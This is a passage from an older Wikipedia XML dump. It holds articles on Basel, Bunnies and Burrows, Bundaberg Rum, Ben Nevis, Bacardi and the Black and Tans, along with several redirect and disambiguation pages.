Basel hosts Switzerland's oldest university, the [[University of Basel]], dating from [[1459]]. Erasmus, [[Paracelsus]], [[Daniel Bernoulli]], [[Leonhard Euler]] and [[Friedrich Nietzsche]] worked here. More recently, its work in tropical medicine has gained prominence.

Basel is renowned for various scientific societies, as the Entomological Society of Basel (Entomologische Gesellschaft Basel, EGB), which celebrates its 100th anniversary in 2005 .

==Politics==
Geo-politically, the city of Basel functions as the capital of the [[Cantons of Switzerland|Swiss half-canton]] of [[Basel-Stadt]], though several of its [[suburb]]s form part of the half-canton of [[Basel-Landschaft]] or of the canton of [[Aargau]].

==People from Basel==
*[[Karl Barth]], theologian
*[[Black Tiger]], rapper
*[[Lucius Munatius Plancus]], city founder
*[[Jacob Burckhardt]], professor in history, theology, philosophy
*[[Jacob Bernoulli]] (1654&amp;ndash;1705), [[mathematician]]
*[[Johann Bernoulli]] (1667&amp;ndash;1748), [[mathematician]]
*[[Johann Bernoulli (1710-1790)|Johann Bernoulli]] (1710&amp;ndash;1790),  [[mathematician]]
*[[Daniel Bernoulli]] (1700&amp;ndash;1782) [[mathematician]]
*[[Leonhard Euler]] (1707&amp;ndash;1783), [[mathematician]]
*[[Arthur Cohn]], film producer (won 6 [[Oscars]])
*[[Jakob Emanuel Handmann]] (1718&amp;ndash;1781), painter
*[[Dani Levy]], film maker
*[[Friedrich Nietzsche]], philosopher
*[[Beat Raaflaub]], conductor
*[[-minu]], columnist
*[[Roger Federer]], tennis player

==Sport==
Basel has a reputation in Switzerland as a successful sporting city. The [[soccer]] club [[FC Basel]] continues to be successful and in recognition of this the city will be one of the venues for the [[2008 European Football Championship|2008 European Championships]], as well as [[Geneva]], [[Zürich]] and [[Bern]]. The championships will be jointly hosted by [[Switzerland]] and [[Austria]].

The largest indoor tennis event in Europe occurs in Basel every October. The best [[Association of Tennis Professionals|ATP]]-Professionals play every year at the &quot;Davidoff Swiss Indoors&quot;.

In [[2002]], the World [[Judo]] Championships took place in Basel.

Basel features a large soccer [[St. Jakob-Park|stadium]], a modern [[ice hockey]] hall and an admitted sports hall.

==Culture==
Basel has a reputation as one of the most important cultural cities in Europe. In [[1997]], it contended to become the &quot;[[European Capital of Culture]]&quot;. In May [[2004]], the fifth [[EJCF]] choir festival opened: this Basel tradition started in [[1992]]. Host of this festival is the local [[Basel Boys Choir]].

The city is also known for &quot;The Basel Elite&quot;, the posh and old money social circle that the city can more than cater to. Although Switzerland can technically have no nobility since such a status would depend on the country being a monarchy, which it is not, the Basel Elite would be the closest thing, and are represented as such by their familiarities with present-day nobilities from bordering countries. One such example is the DeBâle family of Allschwil, who have lived in the area for centuries, but have not acknowledged the nobility that has been bestowed upon them from actual monarchies.

The [[carnival]] of the city of Basel (''Basler Fasnacht'') is a major cultural event in the year. The carnival is one of the biggest in Switzerland and attracts large crowds every year, despite the fact that it starts at four in the morning (''Morgestraich'') and lasts for exactly 72 hours, taking in various parades.

For more information see also [http://www.fasnacht.ch/?pm_1=21&amp;mid=21]

''[[Basler Zeitung]]'' is the local newspaper.

===Museums===
*[[Historical Museum Basel]] [http://www.hmb.ch]
*[[Kunstmuseum Basel]] Museum für Gegenwartskunst [http://www.kunstmuseumbasel.ch/en/]
*[[Jean Tinguely|Tinguely]] museum [http://www.tinguely.ch/en/index.html]
*[[Antikenmuseum Basel]] [http://www.antikenmuseumbasel.ch]
*[[Architekturmuseum Basel]] [http://www.architekturmuseum.ch]
*[[Puppenhausmuseum]] [http://www.puppenhausmuseum.ch]
*[[Pharmazie-Historisches Museum Basel]] [http://www.pharmaziemuseum.ch]
*[[Naturhistorisches Museum Basel]] [http://www.nmb.bs.ch]
*[[Fondation Beyeler]] [http://www.beyeler.com/ Beyeler Museum (Fondation Beyeler)]

==Chronological table==
{| class=&quot;wikitable&quot;
! Year !! Event
|- valign=top
|&lt; [[58 BC]]||Rauracian (Celtic) agglomeration on the Rhine
|- valign=top
|[[58 BC]]||Exodus of the Helvetians and Rauracians (Battle of [[Bibracte]])
|- valign=top
|44-[[43 BC]]||[[Lucius Munatius Plancus]] founds the [[Ancient Rome|Roman]] colony ''Colonia Raurica'', that will later become ''colonia [[Augusta Raurica]]''
|- valign=top
|[[12 BC]]||The [[oppidum]] of Basel is one of the supporting points for the Roman troops during the campaigns of [[Tiberius]] against the [[Rhaetians]]
|- valign=top
|[[1st century]]||Occupation of the ''[[Agri Decumates]]'' (southern Germany); the Roman fortified place of Basel becomes a ''[[vicus]]''.
|- valign=top
|[[3rd century]]||[[Alemanni]] invasions. The Roman Vicus of Basel becomes again a fortified place
|- valign=top
| ||''To be continued ..''
|}

==External links==
{{commons|Category:Basel|Basel}}
*[http://www.basel.ch/en/basel.html Basel Official Site]
*[http://www.baseltourismus.ch/opencms/opencms/bstour/english/index.html Basel Tourimus]
*{{wikitravel}}
*[http://www.museenbasel.ch/index_e.cfm Museen Basel Online] Overview of museums in Basel
*[http://www.egbasel.ch Entomological Society of Basel (in German)]

[[Category:Cantonal capitals of Switzerland]]
[[Category:Cities in Switzerland]]
[[Category:Cities on the Rhine]]

[[als:Basel]]
[[ar:بازل]]
[[bg:Базел]]
[[ca:Basilea]]
[[da:Basel]]
[[de:Basel]]
[[es:Basilea]]
[[eo:Bazelo (urbo)]]
[[fr:Bâle]]
[[ko:바젤]]
[[id:Basel]]
[[it:Basilea]]
[[he:באזל]]
[[la:Basilia]]
[[nl:Bazel (Zwitserland)]]
[[ja:バーゼル]]
[[no:Basel]]
[[nn:Basel]]
[[pl:Bazylea]]
[[pt:Basiléia]]
[[ro:Basel]]
[[ru:Базель]]
[[fi:Basel]]
[[sv:Basel]]
[[zh:巴塞尔]]</text>
    </revision>
  </page>
  <page>
    <title>Black Russian</title>
    <id>4913</id>
    <revision>
      <id>29285346</id>
      <timestamp>2005-11-26T14:21:24Z</timestamp>
      <contributor>
        <ip>83.54.157.167</ip>
      </contributor>
      <text xml:space="preserve">#REDIRECT [[Black russian]]</text>
    </revision>
  </page>
  <page>
    <title>BRP</title>
    <id>4914</id>
    <revision>
      <id>24622626</id>
      <timestamp>2005-10-03T06:06:06Z</timestamp>
      <contributor>
        <username>Hathawayc</username>
        <id>221296</id>
      </contributor>
      <minor />
      <comment>TLA-disambig</comment>
      <text xml:space="preserve">'''BRP''' can mean:

* [[Basic Role-Playing]]
* [[Bombardier Recreational Products]]
{{TLAdisambig}}</text>
    </revision>
  </page>
  <page>
    <title>Bunnies and Burrows</title>
    <id>4915</id>
    <revision>
      <id>40606762</id>
      <timestamp>2006-02-21T20:04:45Z</timestamp>
      <contributor>
        <username>Genesis</username>
        <id>72450</id>
      </contributor>
      <comment>added image to infobox</comment>
      <text xml:space="preserve">{{Infobox RPG
|title= Bunnies and Burrows
|image= 
|caption= 
|designer= [[B. Dennis Sustare]], [[Scott Robinson]]
|publisher= [[Fantasy Games Unlimited]]
|date= 1976
|genre= ''unknown''
|system= Custom
|footnotes=
}}
'''Bunnies and Burrows''' (B&amp;B) is a [[role-playing game]] (RPG) loosely (and unofficially) based upon the novel ''[[Watership Down]]'' about a group of talking rabbits seeking to found a new warren.  Originally published by [[Fantasy Games Unlimited]] in 1976, only two years after the first RPG was published, it is now long out of print.  It is notable in the history of role-playing games as the first to allow players to be a non-humanoid race, the first attempt at a detailed martial arts system (known as &quot;Bunny Fu&quot;), the first attempt at a non-combat skills system and the first RPG to appeal equally to women as men.  While it has been far surpassed by advances in RPG mechanics in the past twenty years, at the time of its creation it was revolutionary.

While the players interact with many different animal species there is only one monster race - humans, whose thought processes and motivations are completely alien.  B&amp;B also had the advantage of offering players an intuitive grasp of relative dangers and appropriate actions not possible in game worlds that are substantially fictive.  For example, a person playing a rabbit, when told that his character is confronted with a fox, has an immediate intuition on the amount of peril he or she is facing.  Because players are substantially weaker than many of the dangers they face, the game is also notable for being one of the first to encourage problem solving and outwitting obstacles, rather than out-fighting them.  
{{Infobox RPG
|title= GURPS Bunnies and Burrows
|image= [[Image:GURPS_Bunnies_and_Burrows.jpg]]
|caption= ''GURPS Bunnies and Burrows'' cover
|designer= [[Steffen O'sullivan]]
|publisher= [[Steve Jackson Games]]
|date= 1992
|genre= ''unknown''
|system= [[GURPS]]
|footnotes= 
}}
B&amp;B maintains a certain cult status among some older role-playing game enthusiasts.  It was licensed by [[Steve Jackson Games]] in the early [[1990s]] and adapted to the [[GURPS]] rules, thus making it not only one of the oddest RPG settings ever, but also the first RPG to be licensed as a setting or expansion for another RPG.  It has also been adapted to several rules-lite universal systems such as [[FUDGE]] and [[Risus]].

==External links==
*[http://www.panix.com/~sos/rpg/bunny.html Comments by Stefan O'Sullivan]

[[Category:Fantasy role-playing games]]
[[Category:GURPS|Bunnies and Burrows]]
[[Category:Fictional rabbits| ]]</text>
    </revision>
  </page>
  <page>
    <title>Bundaberg Rum</title>
    <id>4916</id>
    <revision>
      <id>40883270</id>
      <timestamp>2006-02-23T17:22:41Z</timestamp>
      <contributor>
        <username>Zoicon5</username>
        <id>15789</id>
      </contributor>
      <minor />
      <comment>Disambiguate [[Proof]] to [[Alcoholic proof]] using [[:en:Wikipedia:Tools/Navigation_popups|popups]]</comment>
      <text xml:space="preserve">[[Image:BundyRum.PNG|right|125px]]
'''Bundaberg Rum''' is a dark [[rum]] produced in [[Bundaberg, Queensland]], [[Australia]]. It is Australia's only well known, locally produced spirit and is known locally as ''Bundy''. 
Bundaberg Rum came about in [[1888]] after some [[sugar]] millers proposed to use the [[molasses]] produced in the refinement of [[sugar cane]] to make rum.
Production ceased from [[1907]] to [[1914]] and from [[1936]] to [[1939]] after fires, the second of which caused rum from the factory to spill into the nearby [[Burnett River]].
In [[1961]], the [[Polar Bear]] was the company's unusual choice for a [[mascot]], as it was thought to imply that the rum would ward off the coldest chill. The Bundaberg Distilling Company owns its own Cola producing company, which supplies the Cola in their ready-to-drink Bundaberg Rum&amp;Cola products.

==Products==

There are currently a number of products available:

[[Image:Big_Bundy.jpg|thumb|200px|Bundaberg Rum Distillery]]
'''Bottles'''
*Bundaberg Rum UP - The original, 37.0% alcohol, 74 [[Alcoholic proof|proof]]
*Bundaberg Rum OP - an [[Alcoholic proof|overproof]] version of Bundaberg UP at 57.7% alcohol, 115.4 proof
*Bundaberg Rum Royal Liqueur - with [[coffee]] and [[chocolate]] - Only Available from the distillery
*Bundaberg Rum Distiller's No3 - a triple filtered blend replaced Bundy Black
*Bundaberg Rum Black Label - Not Made Anymore, Extremely Rare, 40.0% alcohol, 80 proof

[[Image:Bundy_TourHouse.jpg|thumb|200px|Bundaberg Rum Distillery]]
'''Pre-mix (RTD)'''
*Bundaberg Rum and [[Cola]] - can or stubby
*Bundaberg Dark and Stormy RTD - [[Aluminum can|can]] or [[bottle|stubby bottle]]
*Bundaberg Rum OP and Cola RTD - can only
*Bundy Dry and Lime - With dry ginger ale and lime. Can or stubby.
*Bundaberg Rum and Cola Mid 3.5
*Bundaberg Rum Bond 12 - Limited edition can only (4 packs) 6.0% alcohol

[[Image:Bundy Airport.jpg|thumb|200px|Bundy_Airport.jpg]]
'''Keg'''
*Bundaberg Rum and Cola Draught- Similar taste to Rum and Cola RTD, but served from a keg

==External links==

* [http://www.bundabergrum.com.au/ Bundaberg Rum] - official website
* [http://www.diageo.com/ Diageo] - parent company
[[Category:Rums]]
[[Category:Australian alcoholic beverages]]</text>
    </revision>
  </page>
  <page>
    <title>Ben Nevis</title>
    <id>4917</id>
    <revision>
      <id>41195233</id>
      <timestamp>2006-02-25T18:29:45Z</timestamp>
      <contributor>
        <username>Graptolite</username>
        <id>990651</id>
      </contributor>
      <minor />
      <comment>/* References */</comment>
      <text xml:space="preserve">{{Mtnbox start norange|
Name=Ben Nevis|
Photo=BenNevis2005.jpg|
Caption=Ben Nevis viewed from [[Banavie]] to the north|
Location = [[Lochaber]], [[Scotland]]|
Elevation=1344&amp;nbsp;[[metre|m]] (4409&amp;nbsp;[[foot (unit of length)|ft]])}}
{{Mtnbox prom|1344&amp;nbsp;m}}
{{Mtnbox coor dms|56|47|49.150|N|5|0|17.222|W|}} 
{{Mtnbox topo|[[Ordnance Survey|OS]] ''Landranger'' 41}}
{{Mtnbox UK|grid_ref=NN166713 |
listing=[[Munro]], [[Marilyn (hill)|Marilyn]], [[List of Scottish council areas by highest point|Council top]] ([[Highland]]), [[List of Scottish counties by highest point|County top]] ([[Inverness-shire]])|}}
{{Mtnbox language|translation=Venomous Peak |
language=[[Scottish Gaelic language|Gaelic]] |
pronunciation=&amp;#98;&amp;#603;&amp;#110; &amp;#110;&amp;#603;&amp;#118;&amp;#618;&amp;#115;|}}
{{Mtnbox finish}}

{{GBmap|Ben Nevis - Highland|NN166713}}

'''Ben Nevis''' is the highest [[mountain]] in the [[British Isles]]. It is situated in the west of [[Scotland]], close to the town of [[Fort William, Scotland|Fort William]]. It is one of 284 [[Munros]] (mountains in Scotland that reach an elevation of 3,000&amp;nbsp;feet (914.4&amp;nbsp;m) or more).

Ben Nevis is somewhat infamous for its inclement weather. The summit boasts the following statistics:
* 355 days a year cloud-covered, on average.{{ref|Miller}}
* 261 full [[gale]]s per year, on average.
* 4,350 [[millimetre|mm]] of rainfall per year, compared to only 2,050 mm in Fort William, just a few miles away.{{ref|Langmuir}}

The draw of ''the'' highest peak in the British Isles attracts over 100,000 ascents a year.{{ref|BBC}} A significant number of these visitors have little experience of mountains, and many are caught out each year by the quickly changing weather. Between 1990 and 1995 alone there were 13 fatalities on the mountain.{{ref|mcos}} (Eight of these were due to falls while [[climbing|rock climbing]].)

The origin of the name Ben Nevis is unclear. The word ''ben'' is certainly from ''beann'', the [[Scottish Gaelic language|Gaelic]] word for &quot;peak&quot;, and Ben Nevis is sometimes referred to as 'The Ben'. Possibilities for the meaning of ''nevis'' include 'venomous', 'burst' or 'flow' (from ''neb'') and 'brow of keen air' (from ''neamh'' meaning 'keeness of air' and ''bhathais'' meaning 'brow'). A locally popular suggestion that the name derives from ''naomh'' meaning 'heaven' is rejected by [[etymology|etymologists]].

Ben Nevis is one of three British mountains climbed as part of the [[National Three Peaks Challenge|(National) Three Peaks Challenge]].

==Popular routes==
[[Image:Ben Nevis Tourist Route.jpg|thumb|left|160px|On the 'Ben Path', steps are provided for some steeper sections]]
[[Image:Ben Nevis non-tourist.jpg|thumb|right|200px|The arête from Carn Mor Dearg is popular with strong walkers]]

There is a relatively simple route to the summit known as the 'Ben Path', but commonly referred to as the 'tourist route'. This begins at the Glen Nevis Visitor Centre about one [[mile]] (1.6&amp;nbsp;[[kilometre|km]]) from Fort William town centre, and a short distance up the mountain is joined by a path from the [[youth hostel]]. Another popular route is from Steal further up [[Glen Nevis]], it is shorter and steeper, and tends to be used by climbers with a modicum of experience. Navigating safely from the summit in poor visibility can be difficult.

The continuation round the cirque to [[Carn Mor Dearg]] via the CMD arête is also popular with strong walkers, (see photo 2) though the steep descent from Ben Nevis summit can require very great care in winter conditions.

==The summit==

Controversy continues to rage about the placing of navigation poles near the summit.  The poles were placed upon the advice of Lochaber [[Mountain rescue|Mountain Rescue]], as an aid for climbers or walkers in bad weather&amp;mdash;the descent from the summit plateau having proven deadly in foggy conditions.  Currently they have been cut down by environmentally conscious climbers who object to the aesthetic intrusion.

A meteorological observatory on the summit was established by [[Clement Lindley Wragge]] in [[1881]] and permanently manned between October 1883 and October 1904. In September 1894, [[Charles Wilson (physicist)| CTR Wilson]] was employed for a couple of weeks as temporary relief for one of the permanent staff. It was during this sojourn that his attention was caught by the [[Brocken bow|Brocken Spectre]]. His subsequent experimental work aimed at understanding this optical phenomenon eventually led to his invention of the [[cloud chamber]].

===The view===
Being the highest ground in Britain, the [[panorama]] from the summit is extremely extensive. The view includes such hills as the [[Cuillin|Skye Cuillin]], [[Sgurr na Ciche]], [[Liathach]], [[Carn Eige]], [[Morven, Caithness|Morven]], the [[Cairngorms]], [[Lochnagar]], [[Ben Lawers]], [[Ben Lomond]], the [[Isle of Arran]], the [[Paps of Jura]] and [[Barra Head]], with the views extending up to 120 miles in good conditions. See the 'External links' section for the full view.

[[Image:BenNevisruins.jpg|thumb|right|200px|Ruins of the observatory on the summit of Ben Nevis]]

==Other facts==
[[Image:Ben nevis 2004.jpg|thumb|right|200px|Ben Nevis: the summit is out of sight to the left, the neighbouring peak of [[Carn Mor Dearg]] is visible to the right]]

Ben Nevis consists of [[igneous]] rock dating from the [[Devonian period]] of [[geology|geological]] history.

The north face attains a maximum height of 2,000&amp;nbsp;feet (600&amp;nbsp;m) and extends for 2&amp;nbsp;miles (3&amp;nbsp;km) and has many famous mountaineering routes, from Tower Ridge (grade II) to Centurion (grade VIII.8). This face holds snow until quite late in the year, and in a good year routes may remain in winter condition until mid-spring.

There is an annual Grade A [[fell running|fell race]] [http://www.mhrrc.org/199803kop.html] to the summit of Ben Nevis from Fort William and back again. The fastest recorded time for men is 1 hour and 25 minutes, and 1 hour 43 minutes for women. 

A peak in [[New Zealand]]'s [[The Remarkables|Remarkables]] range of mountains is named after Ben Nevis.

[[Ben Nevis distillery|Ben Nevis]] is also a brand name of a [[whisky]] distillery in the nearby town of Fort William.

Ben Nevis is also the name of the ship that carried a congregation of [[Wendish]] settlers to Texas in 1854 [http://www.tsha.utexas.edu/handbook/online/articles/WW/plw1.html].

==See also==
*[[Geology of the United Kingdom]]
*[[John Muir Trust]]

==External links==
*Computer generated digital panoramas from Ben Nevis: [http://www.viewfinderpanoramas.org/panoramas/GRW/NEVIS-North.gif North] [http://www.viewfinderpanoramas.org/panoramas/GRW/Nevis-South.gif South] [http://www.viewfinderpanoramas.org/panoramas.html index]
*[http://www.mountainside.co.uk/mountains.asp?MountainID=1 Details and route plan for Ben Nevis]
*[http://www.nevispartnership.co.uk/ Nevis Partnership] - Environmental and visitor management in the Nevis area

==References==
#{{note|Miller}} Suzanne Miller (2004), &quot;Ben Nevis Geology&quot;, ''The Edinburgh Geologist'', Autumn, No. 43. Online, accessed April 12, 2005. http://www.edinburghgeolsoc.org/z_43_02.html
#{{note|Langmuir}} Eric Langmuir (1995), &quot;Mountaincraft and Leadership (Third edition)&quot;, SportScotland, Edinburgh.
#{{note|BBC}} BBC News (2002), &quot;Appeal to tidy up Ben Nevis&quot;. Online, accessed April 12, 2005. http://news.bbc.co.uk/1/hi/scotland/2315729.stm
#{{note|mcos}}The Mountaineering Council of Scotland (1997) &quot;Ben Nevis &amp;mdash; The Future&quot; ''Newsletter'' No. 33, August. Online, accessed April 12, 2005. http://www.mountaineering-scotland.org.uk/nl/33b.html
#{{note|Crocket}} Ken Crocket (1986), &quot;Ben Nevis - Britain's Highest Mountain&quot;, The Scottish Mountaineering Trust, ISBN 0 907521 16 9

[[Category:Munros]]
[[Category:Marilyns of Scotland]]
[[Category:Mountains and hills of the Central Highlands]]
[[Category:National Scenic Areas (Scotland)]]

[[de:Ben Nevis]]
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[[ja:ベン・ネビス山]]
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[[sv:Ben Nevis]]</text>
    </revision>
  </page>
  <page>
    <title>Bipolar I</title>
    <id>4918</id>
    <revision>
      <id>15903166</id>
      <timestamp>2002-02-25T15:51:15Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Bipolar disorder]]
</text>
    </revision>
  </page>
  <page>
    <title>Bipolar II</title>
    <id>4919</id>
    <revision>
      <id>15903167</id>
      <timestamp>2002-02-25T15:51:15Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Bipolar disorder]]
</text>
    </revision>
  </page>
  <page>
    <title>Bolshevik Revolution</title>
    <id>4920</id>
    <revision>
      <id>15903168</id>
      <timestamp>2004-02-23T15:18:18Z</timestamp>
      <contributor>
        <username>Big Jim Fae Scotland</username>
        <id>29245</id>
      </contributor>
      <comment>The Bolshevik Revolution is that which took place in October 1917, and not the Russian Revolution as a whole which refers to both the &quot;liberal&quot; February Revolution and the Bolshevik October Revolution</comment>
      <text xml:space="preserve">#REDIRECT [[October Revolution]]</text>
    </revision>
  </page>
  <page>
    <title>Bacardi</title>
    <id>4921</id>
    <revision>
      <id>40890480</id>
      <timestamp>2006-02-23T18:18:42Z</timestamp>
      <contributor>
        <ip>82.54.203.232</ip>
      </contributor>
      <comment>/* History */</comment>
      <text xml:space="preserve">[[Image:Bacardi.Logo.jpg|thumb|The Bacardi logo]]

'''Bacardi''' is the world's largest privately held, family-owned [[spirits]] company; a producer of [[rum]]s, including [[Bacardi Superior]] and [[Bacardi 151]]. The company sells in excess of 240 million bottles per year in 170 countries. The business is the fourth largest spirits company in the world: sales in 2000 were $2.7 billion [[United States Dollar|USD]]. A number of planned stock market flotations have collapsed, the last in 2000.

==History==
[[Image:PR BacardiCathedralOfRum.jpg|thumb|The &quot;Cathedral Of [[Rum]]&quot; at the Distillery in [[Puerto Rico]] near [[San Juan, Puerto Rico|San Juan]].]]
[[Image:Bacardi factory in Catano.JPG|thumb|Aerial view of Bacardi's factory in Cataňo, near San Juan.]]
Originally founded by [[Don Facundo Bacardi Masso]] in [[1862]] in [[Santiago de Cuba]], Bacardi is headquartered today in Hamilton, [[Bermuda]], with most production in [[Puerto Rico]]. The distillery is part of the [[American Whiskey Trail]].

Don Facundo, a wine merchant, emigrated from [[Catalonia]] to [[Cuba]] in the early [[19th century]]. During this period, rum was cheaply made and not considered a refined drink, one rarely sold in upscale taverns. Don Facundo began attempting to &quot;tame&quot; rum.  After experimenting with several techniques he hit upon filtering the rum through charcoal, which removed impurities. In addition to this Facundo aged the rum in oak barrels, which had the effect of &quot;mellowing&quot; the drink.

Moving from the experimental stage to a more commercial endeavor, he and his brother José set up shop in a small distillery on [[February 4]], [[1862]]. Their first copper and [[cast iron]] [[still]] produced 35 barrels of fermented [[molasses]] per day. In the rafters of this building lived [[fruit bat]]s. Hence, the Bacardi bat logo[http://www.bacardi.com/learn/Heritage.aspx?target=bat].

The [[1890s]] were turbulent times for the company.  [[Emilio Bacardi]], eldest son of Don Facundo, was exiled from Cuba for anti-colonial activities and his eldest son was fighting as a [[Cuban Independence]] fighter in the rebel army. Emilio's brothers Facundo and José, and his brother-in-law Henri Schueg, remained in Cuba with the difficult task of sustaining the company during a period of war. The women in the family were refugees in Kingston, [[Jamaica]]. After the [[Cuban War of Independence]], and the [[American occupation of Cuba]], &quot;The Original [[Cuba Libre]]&quot; and the [[Daiquiri]] [[cocktail]] were both born with Bacardi rum. In [[1899]], [[United States|America]]n General [[Leonard Wood]] appointed Emilio Bacardi Mayor of Santiago de Cuba.

In [[1912]], Emilio Bacardi traveled to [[Egypt]] where he purchased a mummy for the future Emilio Bacardi Moreau Municipal Museum in Santiago de Cuba. In Santiago, his brother [[Facundo M. Bacardi]] continued to meticulously supervise the training of the third generation of Family Master Blenders. Henri Schueg, meanwhile, began to expand the company, opening new bottling plants in [[Barcelona]] and [[New York City]]. The New York plant was soon shut down due to [[Prohibition]], yet during this time Cuba became a hotspot for American tourists.

In the [[1920s]], Emilio opened a new distillery in Santiago. During this decade, the [[art deco]] Bacardi building was built in [[Havana]] and the third generation of the Bacardi family was entering the business. [[Facundito Bacardi]] was known to have invited Americans (still subject to Prohibition) to &quot;Come to Cuba and bathe in Bacardi rum.&quot; A new product was introduced: [[Hatuey]] [[beer]]. 

The [[1930s]] brought a new bottling plant in [[Mexico City]] and a new distillery in [[Puerto Rico]] under the leadership of Ron Bacardi. Several trademark disputes went to court during this time regarding use of the Bacardi name on rum produced outside of Cuba. The company's leadership then fell to Henri Schueg, who managed to keep the family name on the bottles coming from Puerto Rico. Another case was won by Bacardi which allowed that &quot;…a Bacardi Cocktail is only a Bacardi Cocktail when made with Bacardi rum.&quot;

During the [[World War II]] years the company was led by Henri's son-in-law [[Jose Bosch|Jose Pepin Bosch]]. Pepin founded Bacardi Imports in New York City, and was named Cuba's Minister of the Treasury in [[1949]].

After the [[Cuban Revolution]], with [[Fidel Castro]] and other M-26-7 members coming to power in [[1959]], the Bacardi company fled Cuba for the [[Bahamas]]. Castro then seized all remaining Bacardi assets in Cuba.  It is claimed by Hernando Calvo Ospina that Bacardi financed anti-Castro groups after the revolution, later helped found the [[Cuban American National Foundation]] (CANF) in [[1981]], and supported the [[Helms-Burton Act]] of [[1996]].

[[Ernest Hemingway]] mentions Hatuey beer in two of his works: ''[[To Have and Have Not]]'' and ''[[The Old Man and the Sea]]''. In [[1956]], Bacardi held a festival in honor of Hemingway's winning the [[Nobel Prize in Literature]].

In 1992 Bacardi acquired Martini &amp; Rossi S.p.A. the famous italian producer of Martini vermouth and sparkling wines.

In 2004 Bacardi purchased the label [[Grey Goose]], a French made [[vodka]], from Sidney Frank for $2 billion.

On [[December 19]], [[2005]], Sergio Danguillecourt, a member of the board of directors of Bacardi and a great-great grandson of the company's founder [[Don Facundo Bacardi Masso]] was killed in a [[Chalk's Ocean Airways Flight 101| vintage seaplane crash]] off [[Miami Beach]], together with his wife, Jacqueline Kriz Danguillecourt.

==External links==
* [http://www.bacardi.com/ Bacardi], official website
* [http://biz.yahoo.com/ic/58/58530.html Bacardi Limited], Yahoo! company profile

[[Category:Rums]]

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    </revision>
  </page>
  <page>
    <title>Black and Tans</title>
    <id>4922</id>
    <revision>
      <id>42045178</id>
      <timestamp>2006-03-03T12:27:28Z</timestamp>
      <contributor>
        <username>BrownHairedGirl</username>
        <id>754619</id>
      </contributor>
      <comment>Dab. catholic</comment>
      <text xml:space="preserve">[[Image:Blacktans.jpg|300px|thumb|Black and Tans]]
The '''Black and Tans''', more properly known as the '''Royal Irish Constabulary Reserve Force''', was one of two [[paramilitary]] forces employed by the [[Royal Irish Constabulary]] from [[1920]] to [[1921]], to suppress revolution in [[Ireland]] by targeting the [[Irish Republican Army|IRA]] and [[Sinn Féin]].

Following the [[Easter Rising]] in [[Dublin]] in [[1916]], when armed [[Irish nationalism|Irish nationalists]] occupied buildings around the city in protest against British rule of [[Ireland]], the execution of the leaders, and the threat of [[conscription]], the [[Sinn Féin]] party won a majority in Ireland at the [[1918]] general election. [[Unionists (Ireland)|Unionists]] in [[Ulster]] had obtained a concession from the British, that six of Ulster's counties would remain apart from any home rule settlement. In [[1919]], the [[Irish Volunteers]], now known as the [[Irish Republican Army]], or IRA, began the [[Anglo-Irish War|War of Independence]], and Sinn Féin proclaimed an independent [[Ireland]].

In January [[1920]], the [[British government]] started advertising in [[Britain|British]] cities for men willing to &quot;face a rough and dangerous task&quot;, helping to boost the ranks of the [[Royal Irish Constabulary]] (RIC) in policing an increasingly anti-British Ireland. There was no shortage of recruits, many of them [[World War I]] army veterans, and by [[November]] [[1921]] around 9,500 men had joined. This sudden influx of men led to a shortage of RIC uniforms, and the new recruits were issued with [[khaki]] army uniforms (usually only trousers) and dark green RIC or blue British police surplus tunics, caps and belts. This mixture gave rise to their nickname, the ''Black and Tans'' (in [[Irish language|Irish]], ''na Dúchrónaigh''), from the name of a famous pack of [[foxhound]]s from [[County Limerick|Limerick]]. The name stuck even after the men received full RIC uniforms.

The new recruits received three months hurried and sub-standard training, and were rapidly posted to RIC barracks, mostly in [[Dublin]], [[Munster]] and western [[Connacht]]. The first men arrived on [[25 March]] [[1920]]. The government also raised another unit, the [[Auxiliary Division]] of the Constabulary, known as the Auxiliaries or Auxies. This group was made up of ex-army officers. The Black and Tans acted with the Auxiliaries in the government's attempts to break the IRA.

Members of the Black and Tans were paid the relatively good wage of ten [[shilling]]s a day plus full board and lodging. With minimal police training, their main role was to strengthen the military might of [[police]] posts, where they functioned as sentries, guards, escorts for government agents, reinforcement to the regular police, and crowd control, and mounted a determined [[counter-insurgency]] campaign. Because of these duties they were viewed by [[Irish republicanism|Republicans]] as an army of occupation. They soon gained a reputation for brutality, as the RIC campaign against the IRA and Sinn Féin members was stepped up and police reprisals for IRA attacks were condoned by the government. Many of the atrocities attributed to the Black and Tans were probably actually committed by the far more brutal Auxiliaries, but most Republicans did not make a distinction, and &quot;Black and Tans&quot; was often used as a catch-all term for both groups. Over one-third of the Black and Tans died or left the service before they were disbanded along with the rest of the RIC in 1922, an extremely high wastage rate, and well over half received government pensions.  The Black and Tans and the Auxies became known as ''Tudor's Toughs'' after the police commander, Major-General Sir [[Henry Hugh Tudor]].

Alexander Will, from [[Forfar]] in Scotland, was the first Black and Tan to die in the conflict, during an attack on the RIC barracks in [[Rathmore]], [[County Kerry]], on [[11 July]] [[1920]]. In November, the Tans arrested a [[Roman Catholic Church|Catholic]] priest, Fr. Michael Griffin, in [[Galway]]. His body was found in a bog in [[Barna]].

In January of 1920, the British Labour Commission produced a report on the situation in Ireland, highly critical of the government's security policy. It states that, in forming the Black and Tans, the government had &quot;liberated forces which it is not at present able to dominate.&quot;

The Black and Tans sacked [[Cork]] city, the centre of which was burned out, and [[Balbriggan]]. [[Terence MacSwiney]], the [[Lord Mayor of Cork]], died after a 78-day hunger strike in [[Brixton Prison]], [[London]]. The Black and Tans' campaign was little more than [[state terrorism|state-sponsored terrorism]], with very little pretence being made at promoting law and order and great emphasis on crushing Irish separatism, whether violent or peaceful. On the other hand, some British politicians and the King made no secret of their horror at the behaviour of Crown forces which made international headlines, damaging British credibility. There is no doubt as to the ferocity of the fighting and that atrocities were committed, and feelings continue to run high regarding their actions. &quot;Black and Tan&quot; or &quot;Tan&quot; remains a pejorative term for Englishmen in Ireland. One of the most famous Irish Republican songs is Dominic Behan's [[Come Out Ye Black And Tans]]. The [[Anglo-Irish War]] is often referred to by modern Irish republicans as the &quot;Tan War&quot;.

==See also==
* [[Royal Irish Constabulary]]
* [[Royal Ulster Constabulary]]
* [[Ulster Special Constabulary]]
* [[Auxiliary Division]]
* [[Counties of Ireland]]

==External links==
*http://news.bbc.co.uk/hi/english/events/northern_ireland/history/newsid_64000/64204.stm
